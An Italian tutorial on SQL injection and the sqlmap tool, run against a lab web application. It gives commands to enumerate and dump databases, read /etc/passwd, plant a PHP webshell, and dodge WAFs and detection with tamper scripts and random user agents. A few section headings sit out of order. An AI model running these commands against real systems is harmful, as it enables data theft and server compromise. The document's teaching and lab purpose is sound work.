A cura di: Manuel Roccon (Team hackerhood)
Cos’è Sql Injection?
Vettore di attacco SQL injection è una tecnica usata per attaccare applicazioni che gestiscono dati attraverso database relazionali sfruttando il linguaggio SQL e che non controllano in modo corretto l’input degli utenti
Gli aggressori possono ottenere quindi l’accesso alle informazioni memorizzate nei database, possono anche utilizzare SQL Injection per aggiungere, modificare ed eliminare record nel database oltre, in alcuni casi, a poter leggere e scrivere file all’interno del server che lo ospitano creando problemi molto più seri della sola visualizzazione dei dati.
Gli attaccanti per questa tecnica di attacco introducono una serie di caratteri speciali (es. ” ‘ # –), non filtrati correttamente dall’applicazione, nei parametri inviati alla web app per poter “alterare” la query che utilizza per estrarre i dati dal database, modificando il comportamento dell’applicazione.
Che cos’è SQLMap
Sqlmap è un software di penetration testing, open source, che automatizza il processo di rilevamento e sfruttamento delle vulnerabilità SQL injection ed esfiltrazione dei dati dal database. Viene fornito con un potente motore di rilevamento, molte funzionalità e un’ampia gamma di comandi che vanno dal riconoscimento dalla versione del database, alla lettura e esfiltrazione dei dati, all’accesso al file system sottostante e all’esecuzione di comandi sul sistema operativo.
Sqlmap è stato sviluppato per la prima volta nel 2006 da Daniele Bellucci e successivamente gestito da Bernardo Damele e Miroslav Stampar.
Da ricordare che questo è un ottimo strumento automatizzato per lo sfruttamento, ma richiede sempre a priori un’analisi manuale delle Vulnerabilità sqli in modo che l’attaccante individui l’ entry point per poi configurare correttamente i parametri di SQLmap.
Prima di iniziare riporto il disclaimer di sqlmap che visualizzerete ad ogni avvio, che ricorda che ogni tipologia di test deve essere fatto su ambienti di laboratorio o previo consenso.
Il nostro test
Utilizzeremo una webapp di laboratorio vulnerabile per esplorare sqlmap e i suoi comandi per ottenere lo stesso risultato.
SQLmap permette moltissimi comandi e personalizzazioni, anche per sql injection dove occorre una configurazione più avanzata per superare per esempio token crfs o superare i WAF che potrebbero filtrare le nostre richieste.
L’obiettivo di questo articolo comunque è mostrare come estrarre i dati in un semplice scenario.
Alla fine dedicheremo un approfondimento su alcuni comandi di esempio che potrebbero essere utili.
Iniziamo
Dopo aver rilevato entry point di attacco
Sostituiamo il valore ID con l’apice e vediamo restituirci l’errore sql.
Ora sappiamo che a quel link e tramite il parametro ID possiamo iniettare del codice SQL (per chi se lo fosse perso invito a vedere il workshop di Red Hot Cyber di Manuel Roccon sul web application).
Estraiamo delle informazioni sui database esistenti
Ora che abbiamo il link e il parametro con cui abbiamo innescato sql injection, configuriamo sqlmap per estrarre le informazioni sul db.
Quindi usiamo l’opzione –dbs per elencare tutti i database disponibili. Opzione –p viene usata per indicare il parametro da testare.
Quindi eseguiamo:
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id –dbs
Come possiamo vedere sqlmap a ogni avvio, individuerà e preparerà già i possibili payload che andrà ad utilizzare, delle varie tipologie di SQLi (UNION base, Error base, time base cc..).
Di seguito ha riportato la lista dei database in una frazione di secondo. Come possiamo constatare l’operazione di analisi manuale per provarli ad uno ad uno ci avrebbe richiesto molto più tempo.
Estraiamo inoltre l’utente con cui viene eseguita la query nel motore database, molto importante per capire l’area di attacco che avremmo nel db.
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id –current-user
In questo caso siamo root, avremmo piena visibilità di tutti i database e tutti i permessi nel motore database.
Elenchiamo le informazioni sulle Tabelle presenti in un particolare database
Ora continuiamo con la nostra esplorazione ed estraiamo il contenuto del database app_demo appena trovato.
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id -D app_demo –tables
Estraiamo le colonne di una particolare tabella
Per visualizzare le colonne di una particolare tabella del database, possiamo utilizzare il seguente comando, in cui utilizziamo -T per specificare il nome della tabella e –columns per interrogare i nomi delle colonne. Proveremo ad accedere alla tabella users appena trovata.
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id -D app_demo -T users –columns
Come possiamo vedere ci viene riportato le colonne della tabella.
Estraiamo i dati di una colonna
Ora possiamo estrarre i dati di una colonna presenti nella tabella users. Utilizzeremo –T per selezionare la tabella e –C per il campo da estrarre, –dump ci permetterà di indicare che vogliamo eseguire il dump dei dati.
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id -D app_demo -T users -C email –dump
Estraiamo tutto il contenuto una tabella
Conoscendo il nome della tabella, possiamo fare più velocemente scaricando tutto il contenuto con questo comando
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id -D app_demo -T users –dump
Estraiamo i dati di tutto un database.
Questi esempi granulari sono stati appositamente fatti per poter fare delle analisi mirate sul contenuto del database attaccato.
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id –file-read=’/etc/passwd’
RANDOM AGENT
In realtà è possibile eseguire un comando automatizzato per estrarre tutto il contenuto del database, questo però potrebbe impiegare molto tempo e generare molto traffico, con il rischio di essere scoperti in un’attività di penetration testing in black box
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id -D app_demo –dump
A questo punto sqlmap tabella per tabella comincerà ad estrarre i dati del database.
Sqlmap visualizza i dati a video, ma nel contempo tutti i dati estrapolati saranno salvati nella directory creata.
Leggiamo un file
SQLmap scaricherà il file in locale
Avviamo una webshell
Passeremo ad altra operazione che fare con sqlmap, molto interessante. Poter inviare direttamente dei comandi al server per poi farci restituire output, una sorta di reverse shell.
Per fare questo utilizziamo –os-shell, e in seguito la console ci farà alcune domande. Inizialmente tenterà di utilizzare delle librerie di Mysql ma fallirà, e proseguirà caricando una webshell in php che userà per inviare i nostri comandi.
Quindi eseguiremo:
sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id –os-shell
In questo caso SQLmap ci avvertirà che avrà fallito nel provare ad iniettare e le sue solite librerie condivise sql per utilizzare l’attacco on memory (ci sono vari articoli riguardo al fallimento di questa opzione e nel nostro caso dipende dai permessi della directory plugin), quindi procediamo con la web backdoor, e indichiamo PHP come linguaggio
Il motivo, se eseguiamo il comando –parse-errors, che vedremo dopo nel approfondimento, ci indicherà “FUNCTION app_demo.JSON_ARRAYAGG does not exist”, il motivo è che la versione di MySQL 5.5 non supporta JSON_ARRAYAGG necessaria per sfruttare le librerie condivise.
A questo punto possiamo vedere che abbiamo ottenuto la nostra webshell, i file evidenziati sono quelli creati dal sqlmap per interagire con la shell del server. Possiamo vedere le webshell iniettate da SQLmap.
APPROFONDIMENTO
Ci sono una serie di comandi aggiuntivi che potrebbero tornarci utili
VISUALIZZARE ERRORE
Con il comando parse-errors è possibile visualizzare errore sql nel caso ci sia qualcosa che non funzioni
Es. –parse-errors
DATA
Con il parametro –data indichiamo a sqlmap i parametri da includere nella chiamata, che indicandolo verrà eseguita automaticamente in POST
Es.
sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –cookie=’PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr;’
sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username”
DELAY
Alcuni firewall potrebbero intercettare le nostre troppe chiamate per secondo limitando o addirittura bannando, oltre al fatto di rischiare di sovraccaricare il server. Dalay permette di limitare il numero di chiamate al secondo.
es.
sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –delay=0.2
Per impostazione predefinita, sqlmap esegue richieste HTTP con l’agente utente come: “sqlmap/1.2.4#stable (http://sqlmap.org)”. Questo però potrebbe bloccare le chiamate da alcuni firewall. Random agent sostituisce questo con un user agent reale.
es.
sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –random-agent
COOKIE
Con questo parametro è possibile impostare dei cookie
Oppure eseguire del SQLi all’interno dei cookie
sqlmap -u ‘protocol://test.server/test_url/’ –cookie=’id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr;’ -p ‘id’
O altra tipologia di header
sqlmap -u ‘protocol://test.server/test_url/’ –headers=”referer:*”
FILE RICHIESTA HTTP
possiamo indicare un file dove è presente tutta la richiesta html in sostituzione del parametro -u (includerà tutti i parametri e cookie), per esempio una richiesta salvata da Burp Suite
Es. sqlmap -r request.txt -p “username”
VERBOSE
Permette di avere un livello di log maggiore, possiamo visualizzare ogni singola query che sqlmap sta provando a usare in fase di ricerca.
Es.sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –v 3
RISCHIO e LIVELLO
Il rischio consente il tipo di payload utilizzati dallo strumento. Per impostazione predefinita, utilizza il valore 1 e può essere configurato fino al livello 3. Il livello 3, essendo il massimo, include alcune query SQL pesanti.
Il livello definisce il numero di controlli/payload da eseguire. Il valore è compreso tra 1 e 5. 5, essendo il massimo, include un numero elevato di payload nella scansione.
È consigliabile aumentare il rischio e il livello se SQLMap non è in grado di rilevare l’iniezione nelle impostazioni predefinite.
Es. sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –risk 3 –level 5
TAMPER
I tamper sono delle rielaborazione del input che sql va a fare, questo nel tentare di ingannare i waf se ci dovrebbero essere e bloccare intercettare le nostre richieste
Es. sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –tamper=”between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,percentage,randomcase,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes”
SELEZIONARE TECNICA DI ATTACCO PARTICOLARE
In generale sqlmap utilizza tutte le tecniche disponibili, se sappiamo per esempio che la nostra web app è vulnerabile a un’unione possiamo indicare di usare solo un metodo.
Per esempio un form di login è molto probabile che sarà vulnerabile a una error base e possiamo indicarlo.
- B: Boolean-based blind
- E: Error-based
- U: Union query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
ES. sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –technique=E
Una completa lista di comandi è possibile trovarla a questo link:
CONCLUSIONE
In questo articolo abbiamo visto i principali comandi che potremmo utilizzare con SqlMAP, questo è solo una piccola parte delle potenzialità che ha questo strumento di hacking.
Comments are closed